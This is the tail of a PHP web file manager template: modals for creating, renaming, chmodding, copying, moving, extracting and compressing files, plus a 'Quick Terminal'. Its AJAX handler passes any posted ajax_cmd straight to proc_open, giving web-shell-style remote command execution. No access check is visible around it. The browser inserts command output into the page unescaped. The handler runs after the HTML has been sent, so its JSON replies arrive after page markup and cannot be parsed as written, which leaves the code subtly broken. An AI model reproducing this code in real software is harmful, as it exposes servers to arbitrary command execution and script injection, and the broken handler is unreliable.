<?php endforeach; ?>
</tbody>
</table>
</div>
<!-- ═══ MODALS ═══ -->
<!-- New File Modal -->
<div class="modal-overlay" id="new-file-modal" onclick="if(event.target===this)hideModals()">
<div class="modal">
<h3>Create New File</h3>
<form method="post">
<label>Filename</label>
<input type="text" name="new_file_name" placeholder="example.php" autofocus required>
<div class="modal-actions">
<button type="button" class="btn" onclick="hideModals()">Cancel</button>
<button type="submit" class="btn btn-accent">Create</button>
</div>
</form>
</div>
</div>
<!-- New Directory Modal -->
<div class="modal-overlay" id="new-dir-modal" onclick="if(event.target===this)hideModals()">
<div class="modal">
<h3>Create New Directory</h3>
<form method="post">
<label>Directory name</label>
<input type="text" name="new_dir_name" placeholder="new-folder" required>
<div class="modal-actions">
<button type="button" class="btn" onclick="hideModals()">Cancel</button>
<button type="submit" class="btn btn-accent">Create</button>
</div>
</form>
</div>
</div>
<!-- Rename Modal -->
<div class="modal-overlay" id="rename-modal" onclick="if(event.target===this)hideModals()">
<div class="modal">
<h3>Rename</h3>
<form method="post">
<input type="hidden" name="rename_from" id="rename-from">
<label>New name</label>
<input type="text" name="rename_to" id="rename-to" required>
<div class="modal-actions">
<button type="button" class="btn" onclick="hideModals()">Cancel</button>
<button type="submit" class="btn btn-accent">Rename</button>
</div>
</form>
</div>
</div>
<!-- Chmod Modal -->
<div class="modal-overlay" id="chmod-modal" onclick="if(event.target===this)hideModals()">
<div class="modal">
<h3>Change Permissions</h3>
<form method="post">
<input type="hidden" name="chmod_path" id="chmod-path">
<label>Permissions (octal)</label>
<input type="text" name="chmod_value" id="chmod-value" placeholder="0755" pattern="[0-7]{3,4}" required>
<div class="modal-actions">
<button type="button" class="btn" onclick="hideModals()">Cancel</button>
<button type="submit" class="btn btn-accent">Apply</button>
</div>
</form>
</div>
</div>
<!-- Copy Modal -->
<div class="modal-overlay" id="copy-modal" onclick="if(event.target===this)hideModals()">
<div class="modal">
<h3>Copy To</h3>
<form method="post">
<input type="hidden" name="copy_from" id="copy-from">
<label>Destination path</label>
<input type="text" name="copy_to" id="copy-to" required>
<div class="modal-actions">
<button type="button" class="btn" onclick="hideModals()">Cancel</button>
<button type="submit" class="btn btn-accent">Copy</button>
</div>
</form>
</div>
</div>
<!-- Move Modal -->
<div class="modal-overlay" id="move-modal" onclick="if(event.target===this)hideModals()">
<div class="modal">
<h3>Move To</h3>
<form method="post">
<input type="hidden" name="move_from" id="move-from">
<label>Destination path</label>
<input type="text" name="move_to" id="move-to" required>
<div class="modal-actions">
<button type="button" class="btn" onclick="hideModals()">Cancel</button>
<button type="submit" class="btn btn-accent">Move</button>
</div>
</form>
</div>
</div>
<!-- Extract Modal -->
<div class="modal-overlay" id="extract-modal" onclick="if(event.target===this)hideModals()">
<div class="modal">
<h3>Extract Archive</h3>
<form method="post">
<input type="hidden" name="extract_path" id="extract-path">
<label>Extract to (leave empty for same directory)</label>
<input type="text" name="extract_to" id="extract-to" placeholder="<?= htmlspecialchars($current_path) ?>">
<div class="modal-actions">
<button type="button" class="btn" onclick="hideModals()">Cancel</button>
<button type="submit" class="btn btn-accent">Extract</button>
</div>
</form>
</div>
</div>
<!-- Compress Modal -->
<div class="modal-overlay" id="compress-modal" onclick="if(event.target===this)hideModals()">
<div class="modal">
<h3>Compress</h3>
<form method="post">
<input type="hidden" name="compress_path" id="compress-path">
<label>Format</label>
<select name="compress_type">
<option value="zip">ZIP</option>
<option value="targz">TAR.GZ</option>
</select>
<div class="modal-actions">
<button type="button" class="btn" onclick="hideModals()">Cancel</button>
<button type="submit" class="btn btn-accent">Compress</button>
</div>
</form>
</div>
</div>
<!-- Terminal Modal -->
<div class="modal-overlay" id="terminal-modal" onclick="if(event.target===this)hideModals()">
<div class="modal" style="max-width:640px">
<h3>⌨ Quick Terminal</h3>
<div id="terminal-output" style="background:rgba(0,0,0,0.4); border:1px solid var(--border); border-radius:var(--radius-sm); padding:12px; min-height:150px; max-height:300px; overflow-y:auto; font-family:var(--mono); font-size:12px; color:var(--accent); margin-bottom:12px; white-space:pre-wrap;"></div>
<div style="display:flex; gap:8px;">
<span style="color:var(--accent); font-family:var(--mono); line-height:36px;">$</span>
<input type="text" id="terminal-cmd" placeholder="ls -la" style="flex:1; padding:8px 12px; background:var(--bg-input); border:1px solid var(--border); border-radius:var(--radius-sm); color:var(--text-bright); font-family:var(--mono); font-size:12px; outline:none;" onkeydown="if(event.key==='Enter')runCmd()">
<button class="btn btn-accent" onclick="runCmd()">Run</button>
</div>
<div class="modal-actions">
<button type="button" class="btn" onclick="hideModals()">Close</button>
</div>
</div>
</div>
<?php endif; ?>
<!-- ═══ TERMINAL AJAX HANDLER ═══ -->
<?php
if (isset($_POST['ajax_cmd'])) {
header('Content-Type: application/json');
$cmd = $_POST['ajax_cmd'];
$cwd = isset($_POST['ajax_cwd']) ? $_POST['ajax_cwd'] : FM_ROOT;
$output = [];
$proc = proc_open($cmd, [
1 => ['pipe', 'w'],
2 => ['pipe', 'w'],
], $pipes, $cwd);
if (is_resource($proc)) {
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($proc);
echo json_encode(['output' => $stdout . $stderr]);
} else {
echo json_encode(['output' => 'Failed to execute command']);
}
exit;
}
?>
<script>
function showModal(id) {
document.getElementById(id).classList.add('active');
const input = document.querySelector('#' + id + ' input[type="text"]');
if (input) setTimeout(() => input.focus(), 100);
}
function hideModals() {
document.querySelectorAll('.modal-overlay').forEach(m => m.classList.remove('active'));
}
function toggleUpload() {
document.getElementById('drop-zone').classList.toggle('active');
}
function renameItem(path, name) {
document.getElementById('rename-from').value = path;
document.getElementById('rename-to').value = name;
showModal('rename-modal');
}
function chmodItem(path, current) {
document.getElementById('chmod-path').value = path;
document.getElementById('chmod-value').value = current;
showModal('chmod-modal');
}
function copyItem(path, name) {
document.getElementById('copy-from').value = path;
document.getElementById('copy-to').value = path.replace(name, 'copy_' + name);
showModal('copy-modal');
}
function moveItem(path) {
document.getElementById('move-from').value = path;
document.getElementById('move-to').value = path;
showModal('move-modal');
}
function extractFile(path) {
document.getElementById('extract-path').value = path;
showModal('extract-modal');
}
function compressItem(path) {
document.getElementById('compress-path').value = path;
showModal('compress-modal');
}
// Terminal
function runCmd() {
const input = document.getElementById('terminal-cmd');
const output = document.getElementById('terminal-output');
const cmd = input.value.trim();
if (!cmd) return;
output.innerHTML += '<span style="color:#fbbf24">$ ' + cmd + '</span>\n';
input.value = '';
fetch(window.location.pathname, {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'ajax_cmd=' + encodeURIComponent(cmd) + '&ajax_cwd=<?= urlencode($current_path) ?>'
})
.then(r => r.json())
.then(data => {
output.innerHTML += data.output + '\n';
output.scrollTop = output.scrollHeight;
})
.catch(e => {
output.innerHTML += '<span style="color:#f87171">Error: ' + e + '</span>\n';
});
}
// Drag & drop
const dropZone = document.getElementById('drop-zone');
if (dropZone) {
['dragenter','dragover'].forEach(e => {
document.body.addEventListener(e, (ev) => {
ev.preventDefault();
dropZone.classList.add('active');
dropZone.classList.add('dragover');
});
});
['dragleave','drop'].forEach(e => {
dropZone.addEventListener(e, (ev) => {
ev.preventDefault();
dropZone.classList.remove('dragover');
});
});
dropZone.addEventListener('drop', (ev) => {
const files = ev.dataTransfer.files;
if (files.length > 0) {
const input = document.getElementById('file-input');
input.files = files;
document.getElementById('upload-form').submit();
}
});
}
// Keyboard shortcuts
document.addEventListener('keydown', (e) => {
if (e.key === 'Escape') hideModals();
});
// Tab in editor
const editor = document.querySelector('.editor-textarea');
if (editor) {
editor.addEventListener('keydown', function(e) {
if (e.key === 'Tab') {
e.preventDefault();
const start = this.selectionStart;
const end = this.selectionEnd;
this.value = this.value.substring(0, start) + ' ' + this.value.substring(end);
this.selectionStart = this.selectionEnd = start + 4;
}
});
}
</script>
</body>
</html>